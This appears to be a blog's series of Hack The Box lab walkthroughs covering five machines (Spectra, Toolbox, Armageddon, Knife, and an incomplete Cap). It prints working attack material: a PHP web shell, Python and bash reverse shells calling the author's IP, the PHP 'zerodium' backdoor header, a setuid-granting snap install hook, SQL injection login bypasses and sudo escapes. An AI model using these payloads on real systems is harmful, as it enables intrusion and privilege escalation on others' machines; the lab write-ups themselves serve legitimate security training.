Hack The Box – Spectra

Spectra is an easy ChromeOS box created by egre55 on Hack The Box and was released on the 27th of February 2021. Hello world, welcome to haxez where today I will explain how I hacked Spectra. To hack Spectra it is recommended that you have web enumeration and Linux enumeration skills. By owning Spectra you will learn lateral movement, file system permissions and sudo exploitation skills.

Spectra Enumeration

After spawning the box, I sent a ping request to check if I could talk to the box. Next, I ran a Nmap scan against all ports, requesting service versions and running default scripts. In addition, I set the minimum packet rate to 10000 packets per second and saved the output to all formats. As a result, I learnt that port 22 for OpenSSH 8.1, Port 80 for Nginx 1.17.4 and port 3306 for MySQL were open.

┌──(kali㉿kali)-[~/HTB/Spectra]
└─$ sudo nmap -sC -sV -p- 10.129.253.204 --min-rate 10000 -oA spectra
Spectra Enumeration

Web Application Enumeration

Next, I navigated to the IP address in my browser and a site loaded and presented two links. Clicking on each of the two links resulted in an error in Burp. In short, the links were attempting to load the domain spectra.htb but because that domain doesn’t resolve to an IP address, it doesn’t work. In order to make it work, I added the IP address and domain to my host file.

┌──(kali㉿kali)-[~/HTB/Spectra]
└─$ echo "10.129.253.204 spectra.htb" | sudo tee -a /etc/hosts

The Test link took me to a page with a database connection error. Initially, I didn’t think much of it but removing the index.php file from the URL revealed that directory listing was enabled.

Directory listing

The directory listing revealed a file named wp-config.php.save. The wp-config.php file contains the database connection details for WordPress sites. However, attempting to view that file will force the server to process the PHP rather than display the contents. Since the wp-config.php.save file doesn’t have a .PHP extension, I was able to view it by viewing the page source. I wasn’t able to log in to MySQL with the credentials but they could come in handy later.

Wordpress Configuration File

The second link took me to a WordPress site titled Software Issue Management. I could see that there was a user called administrator but other than that not much else. I navigated to the wp-login.php URL and tried the password that I found with the administrator user. The site kept trying to load over HTTPS which caused errors but forcing it to HTTP solved those issues.

Wordpress Admin Area

Spectra Foothold

I used the Theme editor to edit the 404 page of one of the unused themes. In short, I slipped a web shell into the page. As a result, when visiting the 404.php page directly and passing it the cmd parameter, I should be able to perform code execution.

<?php system($_REQUEST['cmd']); ?>
Wordpress Reverse Shell

Next, I navigated to the 404 page and passed the id command to the cmd parameter. As a result, the details for the nginx user were returned. Code execution confirmed.

http://spectra.htb/main/wp-content/themes/twentynineteen/404.php?cmd=id
web shell command execution

I ran into issues here and decided to go nuclear. For some reason, I wasn’t able to send myself a reverse shell via the web shell. I created a bash script which I hosted with a Python web server. I tried to curl the script and pipe it to bash but didn’t receive anything. Furthermore, I also downloaded the script with wget, and made it executable but when executing it, no reverse shell came back. For that reason, replaced the 404.php with the Pentest Monkey reverse shell. It wasn’t pretty but I was able to get a shell on the box as the nginx user.

PHP Reverse Shell
┌──(kali㉿kali)-[~/HTB/Spectra]
└─$ sudo nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.253.204] 34768
Linux spectra 5.4.66+ #1 SMP Tue Dec 22 13:39:49 UTC 2020 x86_64 Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz GenuineIntel GNU/Linux
02:02:28 up 1:42, 0 users, load average: 0.11, 0.05, 0.01
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
$ whoami
nginx

Host Enumeration

After landing on the box I started enumerating the system. I checked the /etc/lsb-release file to identify the Operating System. To my surprise, It turns out that the box is using Chrome OS which probably had something to do with my reverse shells not working. Despite owning a Chromebook years ago, I have no idea how one works.

cat /etc/lsb-release 
GOOGLE_RELEASE=87.3.41
CHROMEOS_RELEASE_BRANCH_NUMBER=85
CHROMEOS_RELEASE_TRACK=stable-channel
CHROMEOS_RELEASE_KEYSET=devkeys
CHROMEOS_RELEASE_NAME=Chromium OS
CHROMEOS_AUSERVER=https://cloudready-free-update-server-2.neverware.com/update
CHROMEOS_RELEASE_BOARD=chromeover64
CHROMEOS_DEVSERVER=https://cloudready-free-update-server-2.neverware.com/
CHROMEOS_RELEASE_BUILD_NUMBER=13505
CHROMEOS_CANARY_APPID={90F229CE-83E2-4FAF-8479-E368A34938B1}
CHROMEOS_RELEASE_CHROME_MILESTONE=87
CHROMEOS_RELEASE_PATCH_NUMBER=2021_01_15_2352
CHROMEOS_RELEASE_APPID=87efface-864d-49a5-9bb3-4b050a7c227a
CHROMEOS_BOARD_APPID=87efface-864d-49a5-9bb3-4b050a7c227a
CHROMEOS_RELEASE_BUILD_TYPE=Developer Build - neverware
CHROMEOS_RELEASE_VERSION=87.3.41
CHROMEOS_RELEASE_DESCRIPTION=87.3.41 (Developer Build - neverware) stable-channel chromeover64

I read through the official walkthrough and watched IppSec’s video to find out how to proceed. I hosted LinPEAS on a web server and used cURL to download it and piped it to bash.

Spectre LinPEAS

Reading through the results, It turned out there is an auto-login feature. This feature loads after boot and I believe it allows the user to automatically log in. However, in order for this to work, it needs to retrieve the user’s password. The user’s password is saved in the /etc/autologin/passwd file. With this password, I was able to SSH to the box as Katie and capture the user flag.

┌──(kali㉿kali)-[~/HTB/Spectra]
└─$ ssh [email protected]
The authenticity of host '10.129.253.204 (10.129.253.204)' can't be established.
RSA key fingerprint is SHA256:lr0h4CP6ugF2C5Yb0HuPxti8gsG+3UY5/wKjhnjGzLs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.253.204' (RSA) to the list of known hosts.
([email protected]) Password:
katie@spectra ~ $ ls
log user.txt
katie@spectra ~ $ cat user.txt
e89▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓130

ChromeOS Initctl

Once logged in as Katie, I ran sudo -l and learnt that Katie could execute /sbin/initctl as sudo with no password. However, I didn’t have a clue what initctl was. GTFO Bins didn’t have any matches for the binary so it was back to investigating. I cheated and used ChatGPT and here’s what ChatGPT had to say about it.

In Chrome OS, initctl is a command used to manage system services. It allows you to start, stop, restart, and check the status of services on the system. initctl is used by the system’s init system, which is responsible for starting and managing system processes and services.

Chrome OS is based on the Linux operating system and initctl is a command from the Upstart init system that was commonly used on Linux systems in the past. However, in recent versions of Chrome OS, initctl has been replaced by systemctl, which is part of the newer systemd init system.

initctl

Spectra Privilege Escalation

Since Katie can control the services, she should be able to restart them. If I can find a service owned by root that I can edit, I could restart the service and execute commands as root. I checked the /etc/init directory for services and there were several test services that stood out. They were owned by root but the group ownership was developers. Since Katie was also a member of the developers’ group, she could edit the files.

Spectra services

First, I used initctl to stop the test service. If you don’t stop the service first and then stop the service after you make the changes, it reverts the changes.

katie@spectra ~ $ sudo /sbin/initctl stop test

Next, I modified the test file and added the following payload.

python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.54",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Spectra Python reverse shell payload

After that, I started the netcat listener on my attack box and then started the test service.

katie@spectra ~ $ sudo /sbin/initctl start test

The reverse shell came back and I was able to capture the root flag.

┌──(kali㉿kali)-[~/HTB/Spectra]
└─$ sudo nc -lvnp 1234
[sudo] password for kali:
listening on [any] 1234 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.253.204] 33618
# whoami
root
# cat root.txt
cat: root.txt: No such file or directory
# cat /root/root.txt
d44▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓2fc

Spectra Learnings

I found this difficult for an easy box but I believe that’s mostly due to how unfamiliar I am with Chrome OS. Ok, it’s Linux but it didn’t behave as expected when trying to get a reverse shell. This threw me off for a bit. The initial enumeration was fun and it taught me not to make assumptions about things. As soon as I saw the database error on the test link, I wrote that off as an attack vector. I realise how silly that is now since it makes sense that it would be more of an attack vector.

I was stumped on the privilege escalation. LinPEAS didn’t scream the answer at me in highlighted red and yellow text. I also didn’t get the password printed to the screen like IppSec did in his video so that was odd. While I found it difficult, I did get to learn about ChromeOS which was nice. However, it seems that Google has since switched to systemd for service management. Anyway, this was a fun box. Thanks

Hack The Box – Toolbox

Toolbox is an easy Windows machine created by MinatoTW on Hack The Box and was released on the 12th of March 2021. Hello world, welcome to Haxez where today I will explain how I hacked Toolbox. In order to complete this box you will need basic web knowledge. By completing this box you will learn to leverage PostgreSQL SQL Injection for RCE and Docker Toolbox exploitation.

Toolbox Enumeration

First, I spawned the box and sent a single ping request to check if I could talk to it. Next, I performed a Nmap scan that scanned all ports, requested service versions and ran default scripts. I saved the output in all formats to files named Toolbox. I instructed Nmap to send a minimum of 10000 packets per second. However, I wouldn’t advise you to do this on real engagements. 10000 packets per second are quite a lot and could congest the network and cause disruption on the target host.

As a result of the scan, I learnt that the host had a plethora of ports open including 21 for FTP. Furthermore, FTP also allowed anonymous access. SSH was listening on port 22 with the banner informing me that it was OpenSSH for Windows 7.7. Port 443 for HTTP with the banner advising me that it was Apache 2.4.38. The SSL certificate’s common name was admin.megalogistics.com which could be useful later. Finally, ports 139, and 445 were open for SMB. A few other ports were open including 5985 for WinRM.

My first thought was that this box appears to be having an identity crisis. It’s a Windows box with SSH enabled and was also running an Apache webserver. I would have expected to see IIS.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ sudo nmap -sC -sV -p- 10.129.96.171 --min-rate 10000 -oA Toolbox
Toolbox Enumeration

Toolbox Service Enumeration

Starting with the lowest port number, I connected to the FTP service using the username anonymous. I submitted an empty password and was granted access. Next, I listed out the contents of the FTP directory and saw an executable named docker-toolbox.exe. I suspected that it was just there to give me a hint about the environment but I downloaded it anyway. Other than that, there wasn’t anything else on the FTP server.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ ftp 10.129.96.171
Name (10.129.96.171:kali): anonymous
ftp> ls
ftp> get docker-toolbox.exe
FTP Enumeration

Since SSH was unlikely to be the attack vector I moved on to SMB. I was optimistic that null sessions might be enabled. Unfortunately, they weren’t but through using crackmapexec, I was able to learn the hostname and domain name. The hostname was TOOLBOX and the domain name was Toolbox. For practice, I also ran smbmap and smbclient.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ crackmapexec smb 10.129.96.171 -u '' -p '' --shares
SMB Enumeration

Web Application Enumeration

With the low-hanging fruit picked, I headed to the web application. I visited the IP address over HTTPS in my browser which loaded a logistics web application. I have to commend the author of the box for this one. It seemed like they put a lot of effort in to this application. It had the generic Lorem ipsum text but it felt real.

Web Application Enumeration

I was capturing the requests and responses in Burp when I noticed something interesting. I ran a few other tools like whatweb too and they all reported the same thing. The HTTP server header was reporting that it was Apache 2.4.38 for Debian. As this is a Windows box, I was now certain that the web application was running inside a Docker container.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ whatweb -a3 https://10.129.96.171/ -v
Toolbox Whatweb

SSL Certificate Subdomain

I poked around the web application for a bit but I suspected that the subdomain that Nmap found was the path forward. I used the echo tool to append the subdomain to my host file.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ echo "10.129.96.171 admin.megalogistic.com" | sudo tee -a /etc/hosts

After that, I visited the subdomain in my browser and was presented with a login page. I tried a variety of easily guessable passwords like admin and password but they all failed. Next, I moved on to trying special characters like the single quotation mark. Bingo, the single quotation mark escaped the SQL query and produced an error. The login form was vulnerable to SQL Injection.

Toolbox web application error

I looked through my Burp HTTP history and found the log-in POST request. I saved this request to a file so that I could feed it to SQLMap.

Burp

Toolbox SQL Injection

First, I ran SQLMap with the batch argument so that it would automatically choose the default option in the prompts. Additionally, I used the force SSL option since the target was using SSL. After the initial tests confirmed SQL injection, I enumerated the database. I dumped the contents of the user’s table from the public database. Please note the image below has been edited to only show the relevant information.

Toolbox SQLMAP

Next, I used the tool hash-identifier to identify the hash. The error message produced when identifying the SQL injection suggested it was an MD5. I had no doubt that it’s an MD5 but this way I get to show off a cool tool.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ hash-identifier 4a100a85cb5ca3616dcf137918550815
Hash Identifer

Next, I attempted to crack the hash with Hashcat and John using the rockyou wordlist. Unfortunately, neither of them was able to crack the hash. I also uploaded the hash to crackstation.net but it also didn’t recognise the hash. Moving on, I used a traditional logic authentication bypass to log in to the application. By submitting the logic of “or 1=1 — -” to the login form, it bypasses authentication regardless of the password being correct.

SQL injection authenticiation bypass

However, this seemed to be a dead end. Other than being able to retrieve a few email addresses, there wasn’t much I could do.

Toolbox authenticated

Toolbox SQL Injection To Foothold

With the application thoroughly investigated, I went back to the drawing board. The help menu for SQLMap shows that there is a –os-shell command. The os shell will prompt for an interactive operating system shell. I appended this command to my initial SQLMap command and successfully received a command shell.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ sudo sqlmap -r request --batch --force-ssl --os-shell
SQLMAP OS Shell

I set up a netcat listener on my attack machine and then sent myself a reverse shell via the os-shell.

os-shell> bash -c "bash -i >& /dev/tcp/10.10.14.54/9001 0>&1"

The reverse shell connected back to my netcat listener and I was able to capture the user.txt flag.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ sudo nc -lvnp 9001
[sudo] password for kali:
listening on [any] 9001 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.96.171] 50127
bash: cannot set terminal process group (1574): Inappropriate ioctl for device
bash: no job control in this shell
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ cd ~
postgres@bc56e3cc55e9:/var/lib/postgresql$ cat user.txt
cat user.txt
f01▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓c6a flag.txt

Toolbox Host Enumeration

First things first, I located the Python3 and Bash binaries so that I could upgrade my shell. Using the Python3 trick, I upgraded my shell to make it more usable.

postgres@bc56e3cc55e9:/var/lib/postgresql$ which python3
/usr/bin/python3
postgres@bc56e3cc55e9:/var/lib/postgresql$ which bash
/bin/bash
postgres@bc56e3cc55e9:/var/lib/postgresql$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Confident that I was inside a Docker container, I ran ifconfig. I could have ran LinPEASS which would have confirmed it but the following way works too. A tell-tale sign of being inside a container is that the IP address doesn’t match the target. The results of ifconfig showed that the IP address of the host was 172.17.0.2. The Docker host was likely going to be the first IP address in the subnet (172.17.0.1).

Toolbox Ifconfig

Privilege Escalation

According to the boot2docker github page, you can ssh to the docker host using the username docker and the password tcuser.

Docker Toolbox Credentials

With this information, I attempted to ssh to the 172.17.0.1 IP address. However, I received SSH key permission errors on my first attempt. Initially, I had fully upgraded my shell by exporting term to xterm and that caused issues. After reconnecting and spawning a bash shell, I could SSH to the host. Once on the host, I ran sudo -l and learnt that I could switch the user to the root user without a password.

SSH To Docker Host

I switched to the root user and started enumerating the system. As it was a Windows system, I checked the contents of the Administrator user’s home directory. As a result, I found the Administrator user’s SSH private key.

Administrator Private Key

I quickly stole the private key and saved it to a file on my attack machine. I gave the key 600 permissions and used it to SSH to the target as the administrator user. From here I was able to steal the root.txt flag.

┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ vim key
┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ chmod 600 key
┌──(kali㉿kali)-[~/HTB/Toolbox]
└─$ ssh -i key [email protected]
administrator@TOOLBOX C:\Users\Administrator\Desktop>type root.txt
cc9▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓1b3

Toolbox Learnings

The Toolbox box was a lot of fun. Admittedly, I was disappointed that it was more Linux than Windows. However, that feeling passed once I completed the box. I learnt something new from the foothold but did fall down some rabbit holes on the way. Once on the box, I struggled with my shell not allowing me to SSH to the next host. This is something I need to investigate further as I don’t understand what was wrong.

The privilege escalation taught me about the particular quirks of the service in use. Once I knew what needed to be done, the rest was easy. This box taught me a few new things but also made me aware that my skills are improving. I was able to quickly identify that something suspicious was going on. Anyway, this box was a blast. Thanks for the box.

Hack The Box – Armageddon

Armageddon is an easy Linux box created by bertolis on Hack The Box and was released on the 27th of March 2021. Hello world, welcome to Haxez where today I will explain how I hacked Armageddon. The skills required to complete this box are Basic Linux Knowledge. The skills learnt from completing this box are Drupal exploitation and Snap package manager exploitation.

Armageddon Enumeration

I connected to the Hack The Box VPN and clicked the button to spawn the box. To ensure I could talk to the box, I sent a single ping request and the box kindly responded. Next, I ran a Nmap scan that targeted all ports, enumerated service versions, ran default scripts and saved all output types. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open. Furthermore, I learnt that the webserver was running Apache 2.4.6 and that the application used the Drupal Content Management System.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ sudo nmap -sC -sV -p- 10.129.48.89 --min-rate 10000 -oA Armageddon
Armageddon Enumeration

Web Application Enumeration

The Nmap scan identified a number of files that contained useful information. For example, the CHANGELOG.txt file disclosed the version history of Drupal 7. The changelog showed that the last update was 7.5.6, As a result, I was able to search for vulnerabilities affecting that particular version of Drupal.

Web Application Enumeration

I used searchsploit to search for vulnerabilities that affected Drupal version 7.56. The results indicated that there were several authenticated and unauthenticated remote code execution vulnerabilities. Furthermore, a number of these vulnerabilities had Metasploit modules.

┌──(kali㉿kali)-[/opt/droopescan]
└─$ sudo searchsploit Drupal 7.56
searchsploit

Armageddon Foothold With Drupalgeddon

First, I launched Metasploit with the msfconsole command. Next, I searched for drupalgeddon2 which produced 1 result. I selected the module by using the use command followed by the module number displayed in the search results. After that, I configured the module by setting the RHOSTS parameter to the IP address of the target. Finally, I set the LHOST parameter to tun0 (my VPN interface) and then ran the exploit. After a brief period, I received a meterpreter session.

Metasploit

Time to start pillaging. Now that I had a shell on the box, I started looking for useful information. I knew that Drupal was a database-powered website so started looking for the database configuration file. After a quick Google search, I learnt that Drupal stores the database connection details in a file called settings.php in the sites/default directory. I viewed the contents of the file and stole the credentials.

Unfortunately, the shell didn’t play well when logging into the database. When running queries, the results weren’t returned to the terminal. I’m not entirely sure what the problem was but it meant I had to change my approach. I used the following commands to retrieve the users from the user’s table.

mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -e 'show databases'
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'show tables'
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'describe users'
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'select uid,name,pass,login from users'

uid name pass login
0 0
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt 1607076276

Lateral Movement

I saved the password hash to a file and searched on the hashcat example hashes web page for the type of hash. As a result, I learnt that hashes that start with ‘$S$’ appear to be specific to Drupal 7. The hashcat cracking mode for these hashes is 7900. I used hashcat to crack the hash which revealed that the password was booboo.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ sudo hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt
Armageddon hashcat

I then used the password to log in via SSH as the brucetherealadmin user. From here I was able to capture the user.txt password.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ ssh [email protected]
The authenticity of host '10.129.48.89 (10.129.48.89)' can't be established.
ED25519 key fingerprint is SHA256:rMsnEyZLB6x3S3t/2SFrEG1MnMxicQ0sVs9pFhjchIQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.48.89' (ED25519) to the list of known hosts.
[email protected]'s password:
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ cat user.txt
e91▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓2fc

Armageddon Host Enumeration

With the user flag captured, I started enumerating the system. I tend to run some commands before resulting to LinPEASS. First, I tend to check to see if the user can run anything with sudo privileges. From running sudo -l, I learnt that the user could install snap packages.

[brucetherealadmin@armageddon ~]$ sudo -l
sudo -l

Next, I headed to GTFO Bins to see if there were any techniques that would allow me to exploit this privilege. As a result, I learnt that having the ability to run snap as sudo could allow privilege escalation. Since it snap doesn’t drop the elevated privileges it could be used to access the rest of the file system with those privileges.

gtfobins

I followed the example on GTFO bins but ran into a problem. When trying to execute the line starting with fpm, the system reported that the fpm command wasn’t found.

fpm not found

However, this reminded me of LXC and Docker container escapes. Perhaps if I created the snap locally and then uploaded it to the server, I could use the install command to install it. First I needed to install snap locally. I tried to run it and Kali was kind enough to tell me it could install it.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ snap
Command 'snap' not found, but can be installed with:
sudo apt install snapd
Do you want to install it? (N/y)y

I then installed FPM with gem as follows.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ sudo gem install --no-document fpm

Armageddon Privilege Escalation

The next step was to create the snap and download it onto the target box and install it. However, I ran into problems so I watched IppSec’s video >>HERE<< to guide me through it. First, on the target box, I copied /usr/bin/bash to /home/brucetherealadmin/bash.

[brucetherealadmin@armageddon ~]$ cp /usr/bin/bash ~/bash

Next, I modified the payload as shown below and executed it on my local system.

COMMAND="chown root:root /home/brucetherealadmin/bash; chmod 4755 /home/brucetherealadmin/bash"
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta

Then, I span up a Python webserver.

┌──(kali㉿kali)-[/tmp/tmp.fd5g4ogYTU]
└─$ sudo python3 -m http.server 8

Finally, I downloaded the snap using cURL and installed it.

[brucetherealadmin@armageddon tmp.daj9QvnIzU]$ curl http://10.10.14.54/xxxx_1.0_all.snap -o bash.snap

[brucetherealadmin@armageddon ~]$ sudo snap install bash.snap --dangerous --devmode

As you can see from the screenshot below, the snap was installed successfully. However, more importantly, it ran the command to change the ownership and permissions of the bash file. The file was now owned by root and had setuid set.

Armageddon bash exploited

I could now run the bash binary and capture the root flag.

[brucetherealadmin@armageddon ~]$ ./bash -p
bash-4.2# cat /root/root.txt
ace▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓138

Armageddon Learnings

I enjoyed this box but thought it was tricky once I had established a foothold. The method of gaining a foothold was simple. It helped me reinforce some Drupal knowledge and I learnt about the specific exploit. Once I was on the box I ran into problems. However, I learnt some valuable lessons about ways to interact with MySQL.

In theory, the privilege escalation should have been simple but I struggled. I haven’t done much with Snap so my brain automatically thought that it was harder than it was. Now that I’ve completed it, it seems easy. Anyway, another one bites the dust. Thanks for the box.

Hack The Box – Knife

Knife is an easy Linux box created by MrKN16H7 on Hack The Box and was released on the 22nd of May 2021. Hello world, welcome to Haxez where today I will explain how I hacked Knife. The suggested required knowledge to complete this box is enumeration, basic Knowledge of Linux and OWASP Top 10. The skills learned are web exploitation and knife sudo exploitation.

Knife Enumeration

First, I sent a ping request to the box to ensure it was online and that I could talk to it. Next, I performed a Nmap scan against all ports, running default scripts and requesting service versions. I set the minimum packet rate to 10000 and saved all outputs to a file named knife. As a result, I learnt that ports 22 for SSH and port 80 for HTTP were open. The SSH banner suggested the box had an Ubuntu operating system. The results from port 80 informed me that it was running Apache 2.4.41 and that the web application had the title Emergent Medial Idea.

┌──(kali㉿kali)-[~/HTB/Knife]
└─$ sudo nmap -sC -sV -p- 10.129.225.186 --min-rate 10000 -oA knife
Knife Enumeration

Web Application Enumeration

When performing Web Application penetration tests, there are two tools that I always run. First, I like to run whatweb to identify the technologies in use. I’m not sure how whatweb gathers its information but the results suggest it sends a request to the server and then checks the headers. From the results, I learnt that the Web Application was utilising PHP 8.1.0-dev. Not much else was reported back that Nmap hadn’t already discovered.

┌──(kali㉿kali)-[~/HTB/Knife]
└─$ sudo whatweb -a3 http://10.129.225.186/ -v
Knife Whatweb

Next, I like to run Nikto which is a web application vulnerability scanner. An initial scan with Nikto also identified the PHP version as 8.1.0-dev and reported that several security-related HTTP headers were missing but not much else.

Knife Nikto

I started to suspect where a vulnerability might be. However, I continued enumerating by visiting the web application and poking around. There wasn’t much to the application and the links didn’t appear to work.

Knife Web Application

PHP Backdoor Remote Code Execution

The PHP version had dev in the name which instantly made me suspicious. Consequently, I performed a Google search for the version and the top result was a GitHub repository for a backdoor RCE vulnerability. I wonder whether Nmap scripts or Burp Professional would have reported this as a finding. I might check that later.

PHP backdoor

Next, I navigated to the Exploit Database entry for this finding to view the code. As a result, I learnt that the backdoor checks to see if the User-Agentt header is present (notice the two tt’s) and whether that header has the value zerodium. If both those conditions are true then whatever comes directly after zerodium gets executed by eval.

Exploit DB PHP backdoor

For example, if I used the system function to execute the external ping command then I could use tcpdump and check if it pings my host. As you can see below, this is exactly what I did. I set tcpdump to listen on tun0 for ICMP packets. Next, I added the malicious header and my command to ping my host. Sure enough, the target sent 4 ICMP packets to my host.

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i tun0 icmp
User-Agentt: zerodium system("ping -c 4 10.10.14.36");
Burp Ping

Knife Foothold

With remote code execution confirmed, I used it to gain a reverse shell on the host. First, I set up a netcat listener on port 1337. Next, I modified the ping command to a bash reverse shell. Finally, I sent the request and the application hung (good sign). I checked my netcat listener and I received a connection from the target host.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337
User-Agentt: zerodium system("bash -c 'bash -i >& /dev/tcp/10.10.14.36/1337 0>&1'");
Reverse Shell

I now had access to the box as the james user and was able to capture the user.txt flag.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.225.186] 44714
james@knife:~$ cat user.txt
cat user.txt
ce1▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓64d

Knife Privilege Escalation

First, I used the private key in james’s .ssh directory to SSH back to the box. This achieved two things, the first being a more stable shell, and the second was persistence. Next, I ran sudo -l to see if james could execute any commands as root. As a result, I learnt that james could run knife as sudo.

james@knife:~$ sudo -l
Knife Sudo

Knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server. It helps users manage nodes, cookbooks and recipes, roles, environments, and data bags. Knife includes a collection of built-in subcommands that work together to provide the functionality required to take specific actions against any object in an organization. These subcommands allow knife to issue commands that interact with any object stored in the chef-repo or stored on the Chef Infra Server. Searching GTFO-Bins for knife, I learnt that knife can execute commands such as spawning a shell. Since I can run it as root, I should be able to give myself a root shell and capture the root.txt flag.

GTFO BINS

I copied the command and ran it. Sure enough, I was root and could capture the root flag.

james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
james@knife:~$ sudo knife exec -E 'exec "/bin/sh"'
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
f35▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓0b9

Knife Learnings

This was a fun box which taught me about the PHP backdoor vulnerability. I believe I had read about it a while ago but didn’t immediately associate the version with the vulnerability. I enjoyed learning about why it is vulnerable and how to exploit it. It helped to build up my knowledge of dangerous functions in PHP.

The privilege escalation was nice and simple and didn’t require much effort. I do enjoy a challenge but sometimes is nice to have an easy win. I learnt a bit about Knife and Chef which was good. There isn’t much more to say about the box honestly. It would be great for beginners and I had a lot of fun popping it. Thanks for the box.

Hack The Box – Cap

Cap is an easy Linux machine created by InfoSecJack on Hack The Box and was released on 05 Jun 2021. Ahoy mateys! Welcome to Haxez where today I will commit mutiny by pillaging and plundering the Cap. This box requires web enumeration and packet capture analysis skills and will teach IDOR and exploiting Linux capabilities. Let’s set sail!

Cap Host Enumeration

Initially, I pinged the box to ensure that it was online. Once I had confirmed I could communicate with it, I started a Nmap scan. I scanned all ports requesting service versions and running default scripts. From the results, I learnt that ports 21 for FTP, 22 for SSH and 80 for HTTP were open. The FTP banner informed me that it was VSFTP version 3.0.3 so no smiley face vulnerability. The SSH banner revealed the server to Ubuntu. Lastly, the HTTP results reported that it was a Gunicorn web server which admittedly I didn’t know existed. However, performing a quick search reveals that it’s a Python webserver.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ sudo nmap -sC -sV -p- 10.129.229.43 --min-rate 10000 -oA cap
Cap Host Enumeration

Nmap should have identified if anonymous logins were allowed but I tried anyway. However, as you can see below, 503 login is incorrect. I will need some credentials before I’m able to access it.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ ftp 10.129.229.43
Cap FTP

Cap Web Application Enumeration

With FTP and SSH unlikely to be my foothold, I navigate to the web application. I’m not quite sure how to describe this application. It shows the IP configuration and Network status of the logged-in user. Furthermore, it has what appears to be a packet analysis page with the option to download a PCAP.

Cap Web Application Enumeration

Because FTP is a cleartext protocol, the PCAP could be useful. For example, If I were to run Wireshark on tun0 and then log in to the FTP service. The credentials I logged in with would be transmitted to the server in plaintext. Additionally, if someone were on the same network as me, they could intercept my traffic and steal my username and password.

Packet Analysis

Initially, I downloaded the available packet capture but after looking through it there wasn’t anything interesting. However, the URL was specifying the packet capture file number to download. For instance, if changed the number after the /data/ endpoint to 0, it would let me download the packet capture file named 0. This type of vulnerability is known as an IDOR or indirect object reference vulnerability. It’s where someone can access parts of the application that there not supposed to.

IDOR

Since the admin is usually the first user on the box, I changed the value to 0 and download the file. Next, I opened it with Wireshark and the Nathans FTP credentials were there waiting to be plundered. I could have filtered the packets by FTP if it was a larger packet capture, however, the credentials were the firs thing I noticed.

Wireshark PCAP

Cap Foothold

Initially, I thought to try and access the FTP but then a radical thought popped into my head, go hard or go home! Let’s go for the (insert sports metaphor). I tried to log in to SSH with the credentials and…. I’m in! Credential reuse is common even among IT professionals. This allowed me to capture the user.txt flag and establish a foothold on the box.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ ssh [email protected]
